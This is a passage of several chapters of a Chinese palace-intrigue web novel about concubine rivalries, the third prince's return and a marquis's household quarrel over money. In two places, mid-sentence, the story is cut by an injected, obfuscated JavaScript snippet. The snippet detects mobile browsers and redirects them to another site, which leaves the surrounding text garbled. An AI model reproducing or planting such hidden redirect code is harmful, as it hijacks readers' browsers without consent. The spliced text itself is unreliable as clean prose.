“各位姐妹都平身。本宫的三皇子就要回京,皇上的意思,霖儿年纪也不小了,该好好儿议一门亲事。” 成了婚,就是成了人。 下一步,便是坐上那个空悬着的太子之位。 何皇后眼中,一切都会水到渠成。 连带着看后宫里这一群莺莺燕燕,也觉顺眼了许多。 “咱们都是自家姐妹,若家中有好姑娘,可不许掖着藏着。” 众嫔妃见皇后心情好,纷纷开口半开玩笑半认真道: “嫔妾族中有一幼妹,容貌性情都是一等一的。改日叫她进来,给皇后娘娘看看。” 也有人举荐旁人家的女儿。 “嫔妾听说,国子监祭酒孙老大人的孙女儿美貌,又才华横溢。皇后娘娘也看看她?” “好,好,除夕夜本宫办一场春宴,都叫进来,给本宫好好儿看看。” 众妃嫔莺声燕语,纷纷应是。 唯有纯妃,半晌不语。 终于叫她找到机会,看向刚才推荐自己妹子的殷贵嫔,“殷妹妹,你族中的幼妹,可是小名婵娟的那一位?” 殷贵人眼珠转了转,痛悔自己嘴快。 “……纯姐姐好记性,正是她。” 纯妃只觉得心口堵得慌,“本宫也差人去你殷家问过,可你爹清清楚楚说,那殷婵娟已许了人的!怎么如今,还敢往三皇子跟前凑?” 说白了,不就是嫌弃她的二皇子。 想要巴结皇后和三皇子吗? 纯妃脸色难看起来,“你们殷家什么意思?” “纯姐姐,你误会我了。”殷贵嫔见势不对,可情知道自己理亏,只得一转身跪在皇后跟前,“皇后娘娘,嫔妾实在冤枉……” 在场所有人都知道殷家就是嫌弃二皇子痴傻。 这也…… 情有可原。 哪家的姑娘,愿意嫁给一个绝对无缘于皇位的傻子皇子呢? 皇后:“本宫今日难得心境舒朗。纯妃,你就别怪殷妹妹了。” 纯妃脸色神色屡变,终于还是被压弯了腰,“……是,皇后娘娘。” 自坤宁宫散出来。 御花园中,江澜因远远地瞧见纯妃忿忿地,踹树。 高大的松柏被她一脚踹上去。 树身不摇,枝叶却摆动。树枝上的积雪扑簌簌落下。 树根旁,传来一声年轻男子的惊呼,“娘,娘!凉凉!” 纯妃:…… 她转过身,面上表情又委屈又气,抬脚要踢。 却终是舍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17246977|197890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得,放下了。 “你这傻子,不可说这种话!娘才不会凉,该凉的都是别的**!” “哈哈哈……”憨厚的笑声响起。 江澜因看见,一个高大的身影出现在纯妃身边。这人刚才竟是蹲在树旁,毫无仪态的模样。 就是传说中那位生来就痴傻的二皇子。 江澜因目光在他脸上一转。 长的么…… 倒还不错。 她目光与二皇子顾璟轩在半空中相遇。 顾璟轩俊朗的脸上滞了滞,现出惊喜,“姐姐,姐姐!娘,您看!好漂亮的姐姐!” 纯妃回头,瞧见江澜因,面上闪过浓重不悦。 “贞妃,你偷听本宫说话,该当何罪?” 江澜因笑了笑,“纯姐姐说笑。姐姐若觉得我不对,去告诉皇上,让皇上评评理。” “你……你仗着皇上喜欢你,肆意妄为!你早晚要有报应!” 纯妃气得脸色通红,咬牙切齿。 她在皇后面前怎么伏低做小都成。可受不了江澜因看她儿子的笑话。 “再如何,本宫的璟儿也是皇子!你是个什么东西,你……” 纯妃还要再骂。 身边的二皇子突然张开嘴,大哭起来,“娘!娘!不吵!璟儿怕!害怕!” 纯妃心疼得不行,立刻回身捂住儿子耳朵,狠狠瞪了江澜因一眼,拉着儿子匆匆走了。 可没走几步。 那顾璟轩挣开纯妃的手,跑了回来。 他大手中,捏着一小撮鲜花。 脸上笑容十分纯净,“姐姐,给你。不要、不要生我娘的气。” 江澜因凝视他的眼睛,片刻后,笑着点了点头。 接过了那束花。 翊坤宫中。 江澜因请邱嫔来。 “……二皇子出生便如此?” “是。”邱嫔回忆道:“那孩子,据说是一出生,接生姥姥没抱住,摔伤了后脑,便傻了。他幼时,纯妃想过不少法子治他的痴病,好几天坏几天的,等大了,他竟是全然傻痴傻。枉费了纯妃一片心。” “傻了?” 江澜因手指转动着那束花,阵阵清香传来。 “这宫中的聪明人,可真多啊。” 第102章 三皇子不喜江澜因 第一百零二章三皇子不喜江澜因 邱嫔愣了愣,半晌才道:“二皇子若不痴傻,只怕……未必活得到如今。” 他母妃纯妃家势不显,这么多年来靠的都是依附何皇后。 何皇后容不下另一个聪明强健的皇子。 二皇子只能痴傻。 邱嫔:“怎么?娘娘担心二皇子的痴病,有诈?” 江澜因只笑笑,“这深宫之中,各人有各自活命的道道。” 她没有必要处处树敌,全都戳穿。 前世,顾言泽登上帝位后,他这位皇弟的疯病,突然好了。 跪称:“皇上万岁,皇上圣明。” 世面上由是盛传,是顾言泽这位天子仁善,上感于天,降下了神迹。治好了弟弟的疯病。 史书上,这竟成了顾言泽的功绩。 二皇子病愈后,自请带纯太妃去封地。 顾言泽允了。 可母子二人却因时疫,双双死在了路上。 二皇子藏锋了一辈子,最终未得善终。可见,在这后宫里,光靠藏和忍,是不行的。 想叫劲敌放过自己的唯一法子。 就是把他们都清除干净。 没了性命,自然就不会跳出来和自己作对。 江澜因面上笑容愈盛,映着窗外雪光,竟有些晃眼。 她舔了舔虎牙。柔软的舌碾过齿尖,有些微疼,有些刺激。 十日后。 三皇子顾承霖奉召,从西北属地回京。 他回来那日,正赶上宫内小年家宴。 皇帝和几位高位嫔妃,在坤宁宫摆宴同乐。 三皇子顾承霖一身浅灰织银劲装,大跨步进入殿内。年满十八岁的少年,英姿飒飒。 “父皇、母后安好,霖儿回来了。” 顾辰枭肉眼可见的高兴。 顾承霖是他最小的儿子,对幼子,总是更偏疼些。见到他的面,由衷的欣慰。 “霖儿,你高了,也瘦了。” 皇帝招手,指着自己身侧下首的位置,“快过来坐下,让朕好好儿看向你。” 瞧见那座位,何皇后目光微微一紧。 顾承霖不看任何人,只躬身拱手,恭顺地应答道:“父皇,那是太子哥哥的位置,儿臣不敢坐。太子哥哥永远是儿臣的哥哥。” “霖儿……” 何皇后面上微微变色。 却见皇帝爽朗一笑,“霖儿是个懂礼仪,知孝悌的好孩子。朕竟一时忘了。去你母后下首坐吧,你母后想你,你与她好好儿亲近。” 皇后双肩松弛地微微垂下,脸上泛出慈爱的笑来。“霖儿,快来!” “是!” 顾承霖快步过去。这几步不复刚才的沉稳,整个人身姿轻盈,恢复了几分少年本相。 皇帝笑声愈发舒朗。 待顾承霖坐好,皇帝又道:“旁的你都见过,只这一位,是你的贞娘娘,今日是头一次相见。” 江澜因一直含笑看着。 待皇帝叫道她,她才起身,与顾承霖见礼。 三皇子起身,姿态优雅恭顺,无可挑剔。“贞娘娘好。” 顾辰枭提前替江澜因准备了一把小臂长短的螭虎绕凤玉具剑,送给三皇子做见面礼。 “多谢贞娘娘挂记。” 三皇子仪态端方。 回头叫下人收了。 顾辰枭:“佩上看看。” 顾承霖笑道:“儿臣素来**手毛脚,这玉具剑是宝玉所制,儿臣只怕碰坏了,倒空枉了贞娘娘一片心。儿臣不似太子哥哥沉稳。” 顾辰枭不语。 江澜因知道,该是她退一步的时候。 她笑道:“皇上,三皇子大老远从封地赶来,风尘仆仆。臣妾也饿了……” 别东拉西扯,快用膳吧。 皇帝这才缓了缓语气,“霖儿,你调皮。不及你太子哥哥许多。” “儿臣自是不及哥哥的。太子哥哥是天下第一等的贤人,儿臣当真想他。今日若他也在,该有多好。” 皇帝:“天意弄人啊。” 父子两个,竟就感伤起来。 江澜因几乎要忍不住笑出声。 不是天意弄人。 是皇帝在试探。 她忍不住多看了顾承霖一眼。要是这位翩翩少年得知自己的好大哥,天下第一等贤人的太子哥哥还活着,也不知会是个什么表情。 一场小年家宴,其乐融融地过去。 皇帝这几日都宿在翊坤宫。 今日却送了江澜因回来,圣驾停在宫门口,没进来。 “因因,霖儿他年纪小,说话直。你是他庶母,不可放在心上。” 皇帝是真心疼爱这个幼子,肯为他敲打江澜因。 江澜因笑着,“臣妾岂敢与三皇子计较?他才多大,不过是个孩子。” 夜色中,顾辰枭看定了江澜因。 她的年纪,比顾承霖还小些呢。 皇帝:“皇后与霖儿,母子情深。” “是。真叫臣妾羡慕。”江澜因恭顺地弯腰行李,“三殿下的性子,和太子殿下有些相似。” 只怕都是一样的貌似温润,实则虚伪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17246978|197890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有点,不太聪明。 江澜因:“定是太子殿下这位哥哥,教得他好。” 她又贴心地劝道:“今日三殿下刚回来,只怕和皇后娘娘有说不完的体己话。皇上也想三殿下,快回坤宁宫吧。” 顾辰枭愈发觉得江澜因懂事了,温柔可人。 “因因,你这样很好。不妒忌,大度,才是后妃的德行。” 一句没提叫黄玉珠搬回来的事,就这么走了。 看着御辇远去,江澜因无声地一笑。 皇帝对顾承霖,和对顾言泽是不一样的。 对顾承霖,是宠爱,是偏疼。是对小儿子无底线的容忍。 就算顾承霖是个废物,皇帝也喜欢他。 也可就仅仅是喜欢罢了。知道他半斤八两,不会轻易委以重任。 可对顾言泽不一样。 储君的培养,皇帝花了大心思。在对儿子疼爱之余,尚在他身上寄托了很多期许。 顾言泽一次次做不到,只会让皇帝一次次失望。 失望累积到一定程度,皇帝就会——放弃。 江澜因低声唤了雪色过来,细细嘱咐过一阵,“……让苏忠远抓紧去办。” 坤宁宫中。 何皇后拉着顾承霖说体己话,“……刚才宴上,你何必说那些话?霖儿,母后不指望你言语上替母后出气。小小贞妃而已,闹不起什么浪花。为她,开罪你父皇,不值得。” “母后,儿子就是看不惯她。”顾承霖冷道,“她前头勾得太子哥哥那样,现在又勾父皇。恬不知耻。” “看不惯就远着些。” 何皇后自己是后宫内斗的好手,却不愿儿子沾染这些。 “倒是你,霖儿。你父皇痛失你太子哥哥,你该在他跟前多提起太子,也显你的孝悌之心。” “儿子知道。” 提到太子兄长,顾承霖眼眶有些发红,“真没想到,太子哥哥年纪轻轻惨遭横祸,竟就这么去了。” 他紧咬着牙关,捏拳砸了一下身边案子。 “母后,儿臣定要扬鞭策马,踏平南疆,为太子哥哥报仇!” 何皇后眸光一闪。 她的霖儿太单纯,被她护得很好,什么都不知道。 何皇后:“这种话,千万勿要在你父皇面前提起……” 万一皇帝当了真,也让她亲生的儿子上前线,就不好了。她可舍不得。 下一刻,殿门外传来皇帝威严的声音: “皇后,这话是好话,为何不让霖儿提起?” “莫非,你心虚?” 第103章 靖威侯想要钱 第一百零三章 靖威侯想要钱 顾辰枭迈步进来,神色淡淡的。 何皇后心口一悸。 自从那夜莫名其妙地“见鬼”,皇帝提起太子,就总是夹枪带棍。 偏生皇后心中有愧,辩驳不得。 此刻,当着顾承霖的面,何皇后只得道:“皇上,臣妾只是想起前线凶险,刀剑无眼。臣妾做娘的,心里害怕还来不及,如何敢再送霖儿上战场?” “可太子那时,皇后不但肯,还一力撺掇着太子去。” 何皇后眼神闪烁,急道:“就是因为言儿出事,臣妾如今才知道怕……” 顾承霖看看皇帝,又看看皇后,有些疑惑: “父皇,太子哥哥出事,母后夜不能寐,她也很难过……” 皇帝轻笑了一声,没有说话。 皇后夜不能寐? 只怕是吓的。 是夜,皇帝既来了,本想留宿坤宁宫。 如今却没了兴致。 可出了坤宁宫,才发现翊坤宫也一片黑寂。因因睡了。 顾辰枭回御书房,自己歇了一夜。 第二日一早,流水一样的赏赐,进了三皇子在宫外的府邸。 满盛京的人自此都知道,皇帝最宠爱的幼子,回来了。 东宫,依旧修葺,宫门紧闭。 只有御前的人叫得开。 太子寝宫中,小太监蹑手蹑脚报进来:“殿下,苏公公来了。” 顾言泽脸色青白,按着太阳穴冷道:“又来做什么?” 他昨夜被小年家宴的丝竹声吵得厉害,半宿未能入眠。今日一大早,又被御前的人吵醒。只觉有一股闷火在心口灼烧,发泄不出来,憋得难受。 苏忠远利落地行礼,“禀殿下,是皇上想起,有一个碧玉笔架儿。是从前太祖爷用过,赏赐给皇上,皇上落在了东宫。今日想起来,叫奴才来取走,赏给三殿下。” 顾言泽面色阴沉至极。 好半晌挤出一句,“找到东西,快些出去。” “是。奴才这就去了。” 关门时,苏忠远低垂的眼中闪过冷意。 是江澜因“无意”中提起,叫皇帝想起了这物件儿,才差他特特儿来取的。 一个笔架儿,太子果然不争。 往后,他只会源源不断地失去更多东西。 翊坤宫中。 三皇子回京,时时进宫陪伴皇后。后宫安宁了许多。 江澜因腾出手来,叫沉璧时时出宫,密切关注侯府的动向。 又叫落霞去自己私库中寻两块一模一样的灰鼠皮。 “落霞,你在宫中伺候的时日久,可知道三皇子可喜欢这颜色,这质地?本宫要做护膝。” 落霞忙道:“娘娘做的,三皇子一定喜欢。” 她心中替皇帝欣慰。 贞娘娘果然聪慧,柔顺。 皇上只是提点了一句,她就肯低头向三皇子示好。 当真是,一心一意只为了皇上啊! 落霞:“只是,三皇子一个人,用不了这许多皮子。” “宫中还有二皇子。落下他一个人,纯姐姐心里会难过。” 落霞愣了愣,含笑道:“娘娘心善,是后宫众人的福分。” 落霞走后,江澜因叫雪色把这上好的灰鼠皮子锁回私库。又寻出两个现成的,打算过几日送去。 用她亲手制的东西? 他们不配。 另一边,侯府。 靖威侯收到江澜因的信,愣了愣。 “娘娘叫本侯去问一个表姑娘要钱?” 虞姨娘正陪在他身边。 知道是江澜因的意思,柔柔开口道:“侯爷,妾身说句不当说的。可妾身这几日掌家,理账目,侯爷可知道咱们府上养表姑娘十年,花用了多少?” “一个表姑娘,能花出去多少?”靖威侯不屑。 虞姨娘:“竟花了五百七十八两纹银!这还不算侯夫人私下里给表小姐的衣裳头面儿好东西!” “什么?” 靖威侯愣了,大张着嘴。 五百多两银子! 这也太贵了! 别说养表姑娘,养文氏一家子都尽够了! 虞姨娘添油加醋道:“咱们娘娘都花用不了这么多,娘娘才花了不到一百两。世子也不过是三百……” 加一起都没有文师师花得多。 靖威侯心口涌上无边的怒意。 “文氏,她当得好家!必要叫她还回来!” 若是从前,靖威侯海顾惜面子,或许不肯问文师师要这笔钱。 可如今,侯府的家底都被江澜因的嫁妆掏空了。 皇上不说一句赐还母家,侯府还敢上杆子去要不成? 自然是万万不敢。 如今能从文师师身上要回来五百两,也是好的。 靖威侯:“去告诉文氏,她那个侄女儿想走,就叫她还钱!” 文师师房中。 文氏安抚她:“……你爹待你的好,你那日可都看到了?娘没骗你吧?” “真待我好,怎么不立时带了我走?”文师师有些幽怨。 靖威侯虽说了要放她走,可没有具体的日子,她总不安。 文氏长叹一口气,“你爹也是逼不得已。你的事情,要缓,才能周全。你放心,你爹如今是一品镇南将军,靖威侯不敢真的得罪他,会放人的。” 知道靖威侯性子孬,不敢和真的权贵对上。 文师师这才放了心。“只是,娘,爹处处都比靖威侯强千百倍,您为何……” 文氏眼眶红了,“不过是,造化弄人罢了。” 她深吸了一口气,正色道:“师师,你在侯府的日子有限。这几日,你别去招惹你哥哥。” 文师师一愣。 一口气堵在心口,不上不下的难受。 明明是江慎非要缠着她,还差点真的害了她。 到文氏嘴里,竟变成了她招惹江慎。 只是……人在屋檐下,她又能怎? “是,娘。” 且等着她离了侯府! 等她做了镇南将军的掌上明珠,她定不会放过这破落户儿侯府! 母女两个各自畅想美好将来。 “吱呀——” 门被推开。 周嬷嬷将靖威侯的意思说了一遍。 并奉上账本,让文师师还钱。 “什么?”文氏难以置信地尖叫,“多少钱?侯爷想钱想疯了不是?定是你们这些下人,烂了心肝的东西,撺掇得侯爷如此!” 自进靖威侯府,周嬷嬷没拿过文氏一文钱。 也最瞧不起她。 周嬷嬷嘴角抽了抽:“侯夫人有不满意,找侯爷说去。和老奴说不着。” 区区一个下人,竟敢顶撞文氏。 她气得脸色红一阵白一阵,“你、你当我不敢?我这就去!” 文氏气冲冲闯进虞姨娘院子,向靖威侯哭道:“侯爷,你好狠的心!五百万两,打一个金人儿都够,你要逼死我的师师啊!” 现在靖威侯最看不得文氏这哭哭啼啼的样子。 他道:“这些钱都是账目上记的,你给她花的时候,怎么不知道心疼?你给你亲生女儿,都没花这么多!” “江澜因!” 文氏猛地一抬头,“江澜因在宫中,吃喝不愁,她又贪了侯府的嫁妆。我去找她,叫她出这笔钱。” 第104章 求亲爹出钱 第一百零四章 求亲爹出钱 “文氏,你敢!” 靖威侯大喊大叫。 虞姨娘这当口反应过来,也忙上前拦着。又细声细气道: “夫人可是糊涂了?那本就是贞娘娘的嫁妆,是侯府给娘娘的陪嫁。皇上、娘娘赏赐回来,是皇上与娘娘恩义,若不赏,咱们只有反思是不是哪里做得不够好,岂有去逼娘娘要的道理?” 她柔柔道:“只怕这话传到皇上耳中,会引来塌天的祸事!” 文氏的话,靖威侯只顾着生气,刚未听清。 叫虞姨娘这么掰开揉碎讲。 靖威侯更气了。 “文氏,皇上不喜你,说你有疯病。你还敢进宫招摇?你不想活了?” 文氏眼看着连侯府都出不去,急道:“你们拦着,不叫我入宫。我是贞妃的娘,我可以给她写家书,你们拦不住。” 非要让江澜因出这笔钱。 虞姨娘见劝不住,也松了手,“侯爷,夫人这只怕是魇着了。天下哪儿逼着叫女儿出钱,给侄女赎身的道理?若给贞娘娘知道,侯夫人为表小姐花了那么多,娘娘不伤心吗?” 靖威侯被文氏吵得耳朵嗡嗡作响。 他喝道:“不准你去叨扰娘娘!那镇南将军不是要保你那侄女吗,你去问他要!” 要是能从孙敬身上刮出一笔,也是大好事。 文氏愣了愣,“怎么好意思问敬……问孙将军要?” “那日,他叫得最欢。”靖威侯一想起孙敬,气不打一出来,“谁张嘴,谁掏钱呗。总不能他一文钱不出,凭嘴就想白嫖侯府一个大活人。做梦!” 靖威侯打定了心思,不见钱,不放人。 文师师又只会哭。 文氏实在没有法子,只得又唤腊梅进来,叫她如前般送发簪去店里修。 之前说要赏赐、抬举腊梅的话,早忘在了脑后,一句都没提过。 小半日,腊梅回来。 说那店关了,寻不到人。 文氏知道,恐怕是因为孙敬回京的缘故。 她没了法子,叫云岫去崔府找人。 云岫吓坏了,“奴、奴婢去?可奴婢不认得崔府的人,不知怎么进去……” 她一个小丫鬟,只怕连大门都进不去。 再说…… 如今江澜因得势,云岫不敢冒头,只想躲着。 “奴婢不去罢……” “啪!” 一记重重的耳光,抽在云岫脸上,打得她脸颊立时就肿胀起来。 文氏咬牙恨道:“你这贱婢,这也不能,那也不会,要你有什么用?” 云岫哭着看向文师师,委屈得不行,“奴婢只是不知道怎么进门……” “怎么进崔府,怎么找到将军,是你的事。” 文师师看云岫的目光,也不似之前柔和。她从前派云岫请太子来侯府救命,云岫不仅没能请来人,还索性赖在太子身边不走。 是个会耍下贱手段的。 文师师:“你若不去,我留不得你了。” 文氏:“没用的奴婢,该发卖去花楼。” 云岫无法,“奴婢去、去便是了……” 文氏一边要用她,一边又防着她,什么信物都不给。 云岫捂着肿胀的脸,一步一停,终于蹭到了朱雀大街崔府门口。 崔家是不输何家的百年世家,倒不似何府张扬。 两扇黑漆大门紧闭,巴掌大小的铜环,磨得锃亮。 云岫一个丫鬟,自然不敢上去拍门。只得绕到门房歇脚的屋檐下,斯斯艾艾打听,“……将军可在府中?” 门房抬眼,“你是?” 云岫支支吾吾,未及说话。 身后传来一道轻柔嗓音,“姑娘,你有什么事?” 云岫身子僵直,回头。 门房提点道:“是咱们夫人回府。咱们府中是夫人管事,你有什么事,与夫人说,也是一样的。” 来之前,文氏一再吩咐,万不可给崔夫人撞到。 那是崔家的母夜叉。 可偏偏就…… “不、不是奴婢的事……不……是奴婢无事、无事……” 她颠三倒四地说着,脸色苍白,直淌冷汗。 再看她脸上巴掌印,崔夫人生了怜悯,“你是谁家的丫鬟?办不成差事回去,家主不怪?有事就说出来,能办的,我给你办。” “不、不……” 云岫嘴唇哆嗦,生死不肯说。 崔夫人终于生了疑心,“既是没事,如何寻到我府上?你是来寻我的?” 云岫心口一沉,正不知怎样脱身之际。 孙敬回来了。 他一眼认出是文师师身边伺候的奴婢。 孙敬上前,挡住崔夫人视线,“怎么在大门口冷风里傻吹着?你身子不好,别过了寒气。” “我无妨。”崔夫人看向云岫,“这丫鬟鬼鬼祟祟……” “是找我的。” 孙敬坦然道:“左翼前锋副将王科家里的丫鬟。他家小门小户,丫鬟没见过世面,定是被唬住了。我慢慢儿问她,无需夫人操心。” 崔夫人很信任孙敬。 “既是你军中的事,你自己处理便是。能帮就帮一把,早早儿打发了,爹娘和女儿还等着你用晚膳。” 把云岫带到书房,问清楚侯府的意思。 孙敬也不由得恼怒。 “侯府是想钱想疯了?” 文氏也疯了。 竟管他要钱! 可文师师是他的女儿。这女儿……能不要吗? 孙敬沉吟片刻。 回京这几日,他处处留心。三皇子回来,皇帝每日都赏。 可饶是热闹成这样,太子还活着消息,一样瞒得严严实实。 可见皇帝心里最看重的,还是太子。 太子的地位不会变。 文师师这个女儿,还得要。 只是,五百万两!也太多了! 孙敬赘入崔家,他的月俸是要上账的。这些年来,私房没存下这么多钱。 片刻后,他终是开口:“你回去,告诉夫人和小姐,不必担忧。这钱,我来想办法。” 忍不住又补了一句,“不是一笔小钱。往后,切不可再如此铺张!” 云岫诺诺称是。 打发走了丫鬟,孙敬深吸好几口气,又重整了仪容,才去崔家正堂用膳。 晚膳用得简素,好容易对付过了。 归到房中,崔夫人又问起,“……那丫鬟什么事?我观她欲言又止,脸上还有伤,只怕也是个可怜人。” 孙敬心中一动,“前几年我那副将受了伤,退下来,如今伤病交加。我想,借他们些银钱使使。” “你自己的钱,自己决断便是。” 孙敬:…… 自然是因不想自己出钱。 “夫人,我那副将病重,非百年人参不能治。人参的市价上百两……” 绕着弯儿让崔夫人出钱。 “百年人参而已。你去库房,多给他拿上几支。是你的旧部,不好寒了人家的心。” 孙敬:…… 他入赘多年,在崔夫人跟前一向要面子,不肯直说要钱。 只得先按下,回头再说。 “对了。”崔夫人便对镜卸下耳环,边道:“宫中除夕家宴,给凝儿也发了请柬。她身子不好,我不愿叫她去。你想法子,给她告假。” 孙敬神色一变,“凝儿也大了,该说婆家……” “也要她养好身子才行。”崔夫人淡淡道。 大不了,往后像她一样,赘一个进来。 崔家又不是养不起。 崔夫人:“我不可能让凝儿入三皇子的王府,也不会叫她嫁入何家。崔家不用女儿联姻。” “是是是,夫人,我知道。我也舍不得凝儿。” 孙敬眸光突地一亮,“可若是,有人能替凝儿嫁呢?” 第105章 江澜因怒赚一笔 第一百零五章 江澜因怒赚一笔 “什么意思?” 孙敬捋顺了思路,慢慢儿开口道: “咱们崔家叶大根深,多少有想和咱们联姻的?虽说崔家用不着,可长此以往,总是拒绝,不得罪人?” 崔夫人抿紧了唇,没说话。 “夫人你看,何家这几年来上蹿下跳,办了多少场婚事?何家的女儿,也都嫁进了世族。长此以往,何家势大,愈发没有个制衡。” 崔夫人:“我崔家的祖训,不用家族女儿联姻谋利。你忘了?” 她神色淡淡,声音却有点冷。 孙敬忙道:“夫人,我知道你和二老都心疼凝儿。凝儿是我女儿,我岂能不疼她?自然不肯叫她嫁出去受气。我是想着,不如咱们收个义女,对外说是亲生的,是凝儿的姊妹,让她替凝儿高嫁、联姻……凝儿想在你身边留多久,咱们就留她多久,也没了后顾之忧,岂不好吗?” “高嫁?” 崔夫人微愣。 崔家门第这么高,还说是高嫁。那就只能是…… “你想巴结三皇子?” 崔夫人敏锐,孙敬忙开口弥缝:“崔家家风向来是只做纯臣,不结朋党。我岂能不知?我是说、是说……对那养女来说,定是高嫁,是好事……” 勉强敷衍过去,孙敬脊背上全是冷汗。 世家大族认养美貌养女替嫁联姻,本是常有的事。 崔夫人听他说完,淡淡道:“听你的意思,已有了人选。纵是认领养女进门,叫她姓崔,自然得考校她人品。是你哪个副将家中的姑娘?她亲娘舍得?你下帖子,叫她家里带来崔家赴宴,我亲自看看才好定夺。” 另一边,翊坤宫中。 顾辰枭一进殿门,便听得江澜因哒哒的脚步声,奔他而来。 这脚步欢快,轻盈。 听得皇帝唇角不自觉地勾了勾,“跑慢些,别摔了。” 江澜因快步至顾辰枭跟前,行过礼,献宝似得双手捧着个物件儿献上。 “皇上替因因看看,这护膝做得,三皇子和皇后娘娘可会喜欢?” 口中说着,人也不老实。 拿着护膝弯下腰去,往顾辰枭盖上比划。 被男人一把挽住小臂,扶起来。 灰鼠皮子护膝拿在手里,顾辰枭随意看了看。 他早从落霞口中得知了此事,知道是江澜因一针一线亲手做的,心中甚是满意。 口中却故意道:“针脚不够细,只怕霖儿不喜。” 江澜因眉梢的喜意落下来,低头看着自己脚尖。“娘从前总说臣妾笨手笨脚,果然臣妾什么都做不好。” 靖威侯夫人怎么教孩子的?怎么说这种话贬低女儿? 顾辰枭:“你娘是浑说的。因因做得很好,霖儿会喜欢。” 敢不喜欢试试? 江澜因精致的小脸上这才浮现出喜色,“只要三皇子喜欢,臣妾这一番功夫,就没有白费。” 顾辰枭拉着江澜因坐上软塌,看了一眼另一副护膝。 “老二老三都有,不能只空了太子一个。” 后宫之中,只有江澜因知道,太子还活着。小姑娘嘴巴紧,一直严守着秘密。 最近皇帝赏赐了三皇子很多好东西,顾念着顾言泽一个人被禁在东宫,孤孤零零的,也是可怜。 不好叫他两手空空。 江澜因一愣,瞪大眼睛,“臣妾不敢冷落太子殿下,只怕是……逾矩。” 怕皇帝又要多想。 明白小姑娘的顾虑,感慨江澜因真是长大了,懂事了。顾辰枭:“是朕的意思,便不算逾矩。独独儿他一个人什么都没有,不好,劳烦因因,再做一个送过去吧。” “是。” 江澜因恭顺道。 飞快地与皇帝身后的苏忠远对了个眼神。 顾辰枭又道:“他们都有了,那朕呢?” “皇上富有四海,要什么没有?只怕看不上臣妾针脚。” “因因作的东西,朕都喜欢。给朕制一件贴身寝袍吧。” 想着自己私库中,定然寻得出现成的。 江澜因一口答应。 不想,稍晚点时候,春枝回话:“小姐,私库里的嫁妆都翻遍了,没有合适皇上的。怕是,只能现制一件。” 江澜因:…… 她眸光微闪,“告诉内务府,给本宫派几个绣娘过来,就说本宫要精进女红,为皇上裁制新衣。” 第二日,翊坤宫的灰鼠皮子护膝送到坤宁宫。 正巧顾承霖也在。 听翊坤宫的宫女说完原委,三皇子一眼都没看那护膝。 “……不是什么精贵东西,也献宝似得拿来,平白叫母后想起她这个人,添堵。” 何皇后见儿子替自己鸣不平,知道心疼自己。 又欣慰,又连忙劝着:“霖儿,她是你父皇如今的心尖宠,你这话传出去,惹人非议。” “传出去就传出去。儿子是皇子,天潢贵胄,难不成怕小小一个妃子?”顾承霖发了少年气性,从下人手里夺过那护膝,扔在一旁,“是她不知进退。明知道母后不喜她,还非要巴巴儿凑上来恶心人。” “霖儿!” 何皇后变了脸色。 顾承霖突觉脊背一凉,不好的预感。 他连忙起身,回头。“父皇……儿臣给父皇请安。” 顾辰枭目光扫过被扔在地上的护膝。 “捡起来。” “父皇……”三皇子涨红了脸。 终是在皇后低声催促下,弯了腰。 顾辰枭:“穿上,给你母后看看。” 顾承霖张了张嘴,要说什么。 何皇后:“霖儿,你父皇是为你好!” 这个当口,岂能因为小小一件护膝,惹得皇帝心中不悦? 她忙忙上前,拿过护膝,“霖儿,母后为你穿戴。快带上,让母后看看衬不衬你,好不好看。” 终是戴上了。 平平无奇一件护膝。 何皇后:“好看,很衬我儿的脸色,贞妃有心了。本宫有一套翡翠春带彩头面儿,颜色鲜亮,最衬她们年纪小的。本宫给她,当做谢礼。” 皇帝这才缓了脸色。 坐了一会子,与皇后和三皇子说话儿。 稍晚些时候,那套春带彩就送去了翊坤宫。 浅绿色翡翠,夹杂着一道道紫花。那紫极浓郁,在日光下也不失色,是上上嘉品。 一件库存的灰鼠皮子护膝换一套极品春带彩。 这一轮,江澜因赚翻了。 纯妃宫中也送来了谢礼,不过对比坤宁宫,就寒酸了许多。 是几匹颜色淡雅的杭绸。 江澜因纤细手指抚过,“回去告诉纯姐姐,这几匹料子本宫很喜欢。请纯姐姐明日下午,过翊坤宫一聚。” 她顿了顿,笑道:“本宫想问问二皇子护膝可合身。若不合适,本宫再改。” 迟了一日,给太子的护膝也“做”好了。 江澜因送到御前,皇帝叫苏忠远送去。 东宫,太子寝殿外。 小太监刚禀进去:“御前苏公公来了……” “哗啦!” 一只茶盏从暖帘内径直飞出,落在苏忠远脚边,被砸了个粉碎。 顾言泽声音嘶哑、阴冷,“滚出去!” 第106章 太子又挨罚 第一百零六章 太子又挨罚 前日苏忠远走后,太子越想越气。 东宫的东西,就该是他这个太子的东西。父皇怎能收回,又重新赏人? 这简直就是,在狠狠打他的脸。 没想到,苏忠远居然还敢来第二次! 太子寝殿内,小太监吓得瑟瑟发抖。 暖帘外,苏忠远低头。他的袍角被茶盏里的残茶打湿,留下一片浅褐色湿痕,巴掌大小。 只怕出去被风一吹,就干了。 苏忠远眸光一闪,慢慢弯下身,拾起一片碎瓷。 重重按在了额角上。 稍晚些时候,苏忠远回皇帝身边复命,得知御驾在翊坤宫,连忙赶过去。 去了,却又不敢近前伺候。 躲在众宫女、太监身后,遮遮掩掩。 